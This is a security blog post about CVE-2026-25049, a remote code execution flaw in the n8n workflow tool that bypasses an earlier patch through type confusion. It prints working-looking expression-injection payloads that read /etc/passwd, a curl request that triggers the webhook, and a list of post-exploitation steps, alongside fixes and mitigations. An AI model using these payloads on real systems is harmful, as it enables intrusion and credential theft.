Hey everyone!
If you’ve been following the automation space lately, you probably know n8n. It’s that open-source workflow automation tool that’s been gaining traction as a self-hosted alternative to Zapier. Developers love it because it’s flexible, extensible, and you can host it yourself.
But February 2026 brought some rough news: CVE-2026-25049, a critical vulnerability with a CVSS score of 9.4 that let attackers execute arbitrary system commands on n8n servers. What makes this particularly interesting (and painful for n8n’s security team) is that this vulnerability bypassed a security fix they had just deployed two months earlier.
The research comes from security researcher Fatih Çelik (@fatihclk01), who documented the entire exploitation chain in his writeup “n8n RCEs: A Tale of 4 Acts.” This isn’t just another CVE, it’s a masterclass in security bypass research and a stark reminder about the difference between compile-time and runtime security.
In this post, I’ll break down what happened, how the exploit works technically, why TypeScript types aren’t security boundaries, and what we can all learn from this. Whether you’re a penetration tester, security engineer, or developer building similar systems, there’s valuable insight here.
Ready to dive into some type confusion exploitation? Let’s get started.
Table of Contents
Open Table of Contents
- The Original Vulnerability: CVE-2025-68613
- The Security Patch That Seemed Solid
- The Fatal Assumption: Type Confusion
- Technical Breakdown of CVE-2026-25049
- Exploitation Walkthrough
- Complete Attack Chain
- Post-Exploitation Capabilities
- Why TypeScript Failed as a Security Layer
- The Proper Fix
- Broader Implications for Developers
- Mitigations and Defense Strategies
- Wrapping Up
The Original Vulnerability: CVE-2025-68613
To understand CVE-2026-25049, we need context. In December 2025, security researchers discovered CVE-2025-68613, a critical expression injection vulnerability in n8n’s workflow engine.
n8n allows users to write dynamic expressions using {{ }} syntax in their workflows. These expressions are evaluated server-side using Node.js, giving workflows access to data transformation, calculations, and logic. The problem? The expression evaluator wasn’t properly sandboxed.
The original exploit payload was straightforward:
{{ this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami') }}
Let me break down what this does:
this.constructor.constructor- Climbs up to the Function constructor'return process'- Creates a new function that returns the process object()- Immediately executes that function to get the process object.mainModule.require('child_process')- Loads Node.js child_process module.execSync('whoami')- Executes system command
The result? Full remote code execution with the privileges of the n8n process. This is devastating because n8n instances often have access to:
- Cloud provider credentials (AWS, Azure, GCP)
- API keys for dozens of integrated services
- Database connection strings
- OAuth tokens
- Internal network access
n8n’s team responded quickly with a security patch. They implemented multiple layers of defense, and everyone moved on. Case closed, right?
Not quite.
The Security Patch That Seemed Solid
n8n’s fix looked comprehensive on paper. They implemented three security layers:
1. TypeScript Type Enforcement All inputs to the expression evaluator were strictly typed as strings at compile-time:
function evaluateExpression(input: string): any {
// evaluation logic
}
2. Runtime String Sanitization Before evaluation, all string inputs went through a sanitization function that cleaned out malicious patterns:
function sanitize(input: string): string {
// Remove dangerous patterns
// Block constructor access
// Validate safe characters
return cleanedInput;
}
3. Expression Syntax Validation A validator checked the expression syntax before allowing evaluation, blocking known dangerous patterns.
The security team felt confident. Code reviewers approved it. External auditors gave it a pass. The patch went live.
Then Fatih Çelik found the flaw.
The Fatal Assumption: Type Confusion
The entire security architecture rested on one critical assumption: all inputs to the expression evaluator would be strings.
Here’s the problem with that assumption, TypeScript types only exist at compile-time. Once your code compiles to JavaScript and runs, all those nice type annotations vanish completely.
Look at what happens during compilation:
Before (TypeScript):
function sanitize(input: string): string {
// sanitization logic
return cleanedInput;
}
After (JavaScript):
function sanitize(input) {
// sanitization logic
return cleanedInput;
}
All the type information is gone. JavaScript at runtime has no idea what types you intended. The function will happily accept any data type, strings, numbers, objects, arrays, symbols, whatever you pass it.
The sanitizer was designed to handle strings. It checked string patterns, validated string content, cleaned string characters. But what happens when you send it something that isn’t a string?
It never runs.
Technical Breakdown of CVE-2026-25049
Fatih discovered that by sending non-string data types to the expression evaluator, he could bypass the sanitization entirely.
Here’s the attack vector:
Instead of sending a string like this:
"{{ malicious_code }}"
Send an object:
{
"payload": {
"constructor": "value"
}
}
The execution flow becomes:
- TypeScript compiler checks the code: ✓ Types match (at compile-time)
- Sanitizer receives the input: Expects string, gets object
- Sanitizer logic: Skips execution (wrong type)
- Expression evaluator: Processes the raw, unsanitized object
- Result: Security layer completely bypassed
But to actually exploit this, Fatih needed a way to weaponize object inputs. That’s where JavaScript destructuring comes in.
Exploitation Walkthrough
JavaScript destructuring syntax is normally used to extract properties from objects in a clean way:
const { name, age } = person;
But destructuring happens before any validation or security checks run. You can use it to extract the constructor property from any object context:
The exploit payload:
{{ ({constructor}) => constructor.constructor('return process')() }}
Let me walk through what this does step by step:
Step 1: ({constructor}) - Destructuring extracts the constructor property from the object
Step 2: => constructor.constructor(...) - Arrow function that accesses the Function constructor
Step 3: 'return process' - Creates a function that returns the process object
Step 4: () - Executes immediately to get full Node.js process access
Step 5: From here, load child_process and execute system commands:
.mainModule.require('child_process').execSync('cat /etc/passwd')
This bypasses:
- TypeScript type checking (wrong type sent at runtime)
- String sanitization (never executes on objects)
- Syntax validation (destructuring is valid JavaScript)
It’s pure JavaScript semantics doing exactly what it’s designed to do, no “hacking” the language required.
Complete Attack Chain
Here’s how an attacker would exploit this in the real world:
Step 1: Create a workflow with a public webhook
n8n supports public webhooks that don’t require authentication by default. This is a feature, not a bug, it’s meant for accepting data from external sources.
Step 2: Add a function node with the malicious expression
{{ ({constructor}) => constructor.constructor('return process')().mainModule.require('child_process').execSync('cat /etc/passwd') }}
Step 3: Trigger the webhook
Anyone on the internet can send a POST request:
curl -X POST https://target-n8n-instance.com/webhook/test \
-H 'Content-Type: application/json' \
-d '{"data": {"constructor": {}}}'
Step 4: Code executes
The server processes the expression, executes the system command, and returns the output.
No authentication required. No authorization checks. No rate limiting. It just works.
Safety Note: This is for educational purposes only. Exploiting systems you don’t own or have explicit permission to test is illegal. Always work in your own lab environment or with proper authorization.
Post-Exploitation Capabilities
Once you have remote code execution on an n8n instance, the possibilities are extensive:
Credential Theft: n8n stores credentials for dozens of integrated services in its database, encrypted with keys stored on the filesystem. With RCE, you can:
- Read the encryption keys from disk
- Decrypt all stored credentials
- Extract AWS keys, API tokens, database passwords, OAuth tokens
Internal Network Access: n8n instances typically have broad network access because they need to connect to various services:
- Pivot to internal systems
- Access databases and internal APIs
- Map the internal network topology
- Use n8n as a proxy for further attacks
Persistence:
- Modify node_modules to inject backdoors
- Create scheduled tasks or cron jobs
- Add webhook-based backdoors to legitimate workflows
- Install SSH keys for persistent access
Data Manipulation:
- Modify workflow logic
- Poison AI/ML training data flowing through workflows
- Alter business logic in automation pipelines
- Inject malicious data into downstream systems
Lateral Movement:
- Use compromised credentials to access other systems
- Deploy additional payloads to connected infrastructure
- Compromise CI/CD pipelines if n8n is integrated
The blast radius from a compromised n8n instance can be massive, especially in environments where it’s used as a central automation hub.
Why TypeScript Failed as a Security Layer
This vulnerability perfectly illustrates why you can’t rely on TypeScript for runtime security. Let me be clear: TypeScript is an excellent tool for development, code quality, and catching bugs. But it’s not a security mechanism.
Here’s why:
1. Types Disappear at Runtime
TypeScript compiles to JavaScript. All type information is stripped away. Your runtime environment has zero knowledge of what types you intended.
// What you write
function validate(input: string): boolean {
return input.length < 100;
}
// What actually runs
function validate(input) {
return input.length < 100;
}
If someone passes an object with a length property, this works. If they pass an array, it works. If they pass undefined, it crashes. TypeScript can’t protect you here.
2. Type Coercion Happens Silently
JavaScript will happily coerce types to make operations work:
"5" + 5 // "55" (string)
"5" - 5 // 0 (number)
[] + {} // "[object Object]" (string)
{} + [] // 0 (number) in some contexts
Security checks that rely on type assumptions can be subverted by exploiting these coercion rules.
3. Any External Input is Untrusted
Anything coming from outside your application, HTTP requests, file uploads, database queries, API responses, arrives as runtime data. TypeScript has already done its job and left the building. You’re working with raw JavaScript values that could be anything.
4. The instanceof and typeof Operators Are Your Friends
If you need security at runtime, you must validate at runtime:
function secureFunction(input: unknown) {
// TypeScript says unknown - forces us to check
if (typeof input !== 'string') {
throw new Error('Invalid input type');
}
// Now we know it's actually a string at runtime
return processString(input);
}
This is the difference between compile-time assistance and runtime security.
The Proper Fix
n8n’s corrected patch in versions 1.123.17 and 2.5.2 addressed this by adding runtime type validation:
function sanitize(input: unknown): string {
// First, validate the actual runtime type
if (typeof input !== 'string') {
throw new TypeError('Expression input must be a string');
}
// Now we KNOW it's a string at runtime
// Proceed with sanitization
const cleaned = removePatterns(input);
return cleaned;
}
Key differences:
- Parameter typed as
unknown- Forces explicit type checking - Runtime type validation - Uses
typeofto check actual runtime type - Fail securely - Throws an error instead of silently skipping validation
- Then sanitize - Only after confirming the type do we process it
This is defense in depth: TypeScript helps during development, but runtime checks enforce security when it matters.
Broader Implications for Developers
This vulnerability pattern shows up everywhere. If you’re building systems that evaluate user input, process expressions, or handle untrusted data, you’re potentially vulnerable to similar attacks.
Common Vulnerable Patterns:
1. GraphQL APIs Trusting Input Types
type Mutation {
updateUser(id: ID!, data: UpdateUserInput!): User
}
Just because your schema defines types doesn’t mean clients will send them. Validate at runtime.
2. REST APIs Validating Only OpenAPI Schemas
OpenAPI/Swagger specs are documentation and developer tools. They don’t enforce security. Add runtime validation middleware.
3. Database ORMs Assuming Typed Inputs
// Dangerous
User.update({ email: req.body.email });
// Better
if (typeof req.body.email !== 'string' || !isValidEmail(req.body.email)) {
throw new ValidationError('Invalid email');
}
User.update({ email: req.body.email });
4. Expression Evaluators and Template Engines
Any system that evaluates user-provided expressions (automation platforms, no-code tools, templating engines) must assume inputs are hostile and validate extensively.
5. JSON Parsers with Type Assumptions
// Dangerous
const config = JSON.parse(userInput);
doSomething(config.setting); // What if setting is an object, not a string?
// Better
const config = JSON.parse(userInput);
if (typeof config.setting !== 'string') {
throw new Error('Invalid setting type');
}
doSomething(config.setting);
Key Principle: Never trust type information from outside your process boundary. Always validate at runtime before processing.
Mitigations and Defense Strategies
If you’re running n8n or building similar systems, here’s how to defend against these attacks:
For n8n Users:
Immediate Actions:
- Update NOW - Upgrade to version 1.123.17 (for 1.x branch) or 2.5.2 (for 2.x branch)
- Restrict Workflow Creation - Limit who can create and modify workflows to trusted administrators only
- Disable Public Webhooks - Unless absolutely necessary, disable public webhook endpoints
- Audit Existing Workflows - Review workflows for suspicious expressions or unusual patterns
- Rotate Credentials - Change all credentials stored in n8n’s vault
- Network Segmentation - Run n8n in an isolated network segment with minimal permissions
Long-term Security:
- Run in Containers - Deploy n8n in Docker/Kubernetes with minimal privileges and resource limits
- Implement WAF Rules - Add Web Application Firewall rules to detect suspicious payloads
- Enable Logging - Centralize logs and monitor for unusual expression patterns
- Least Privilege - Run the n8n process with minimal OS privileges
- Regular Audits - Periodically review workflows and access patterns
For Developers Building Similar Systems:
1. Defense in Depth
Never rely on a single security control. Layer multiple independent checks:
function secureEval(input: unknown, context: Context) {
// Layer 1: Type validation
if (typeof input !== 'string') {
throw new TypeError('Input must be string');
}
// Layer 2: Length checks
if (input.length > MAX_EXPRESSION_LENGTH) {
throw new RangeError('Expression too long');
}
// Layer 3: Pattern validation
if (DANGEROUS_PATTERNS.some(pattern => pattern.test(input))) {
throw new SecurityError('Dangerous pattern detected');
}
// Layer 4: Sandbox evaluation
return sandboxedEval(input, context);
}
2. Runtime Type Validation
Always validate types at runtime:
// Use Zod, Yup, or similar for complex validation
import { z } from 'zod';
const ExpressionSchema = z.string()
.min(1)
.max(1000)
.refine(val => !containsDangerousPatterns(val));
function processExpression(input: unknown) {
const validated = ExpressionSchema.parse(input); // Throws if invalid
return evaluate(validated);
}
3. Proper Sandboxing
If you’re evaluating user code, use proper sandboxing:
- vm2 (Node.js) - Provides isolated execution context
- Web Workers (Browser) - Separate thread with limited API access
- Deno - Built-in permissions model
- WebAssembly - Sandboxed by design
Safety Note: Even sandboxing libraries have had vulnerabilities. Stay updated and consider additional layers.
4. Principle of Least Privilege
- Run evaluation in separate processes with minimal permissions
- Use read-only filesystems where possible
- Limit network access from evaluation contexts
- Drop privileges after startup
5. Audit and Monitoring
- Log all expression evaluations with content and context
- Monitor for unusual patterns (constructor access, require calls, etc.)
- Set up alerts for suspicious activity
- Regular security audits of expression handling code
Wrapping Up
CVE-2026-25049 is a textbook example of how security assumptions can fail at the boundary between compile-time and runtime. TypeScript’s type system is fantastic for development, but it’s not a security control. The moment your code compiles to JavaScript, those types disappear, and you’re left with dynamic runtime behavior that can accept any data type.
The key lessons here:
- TypeScript types ≠ runtime security - Always validate types at runtime
- Test patches with alternate primitives - Don’t assume the first fix is complete
- Defense in depth works - Multiple independent security layers catch what single layers miss
- Understand your dependencies - Know how libraries handle types and validation
- Public endpoints need authentication - Don’t assume good intentions from the internet
For penetration testers and red teamers, this research demonstrates the value of analyzing security patches to understand the assumptions behind them. Often, a fix addresses the specific attack vector but misses the underlying vulnerability class.
For defenders and developers, it’s a reminder that security requires thinking about runtime behavior, not just compile-time correctness. Build systems that fail securely when assumptions are violated.
Big thanks to Fatih Çelik for the excellent research and detailed writeup. This kind of deep technical analysis advances the entire security community.
If you’re interested in the full technical details, check out Fatih’s complete writeup. It covers all four CVEs in the series and provides even deeper insight into n8n’s security architecture.
Stay curious, keep learning, and remember: always validate at runtime, not just compile-time.
Happy hacking (ethically, of course)!
— Het Mehta
Disclaimer: This article is for educational purposes only. Do not test these techniques on systems you don’t own or don’t have explicit written permission to test. Unauthorized access to computer systems is illegal.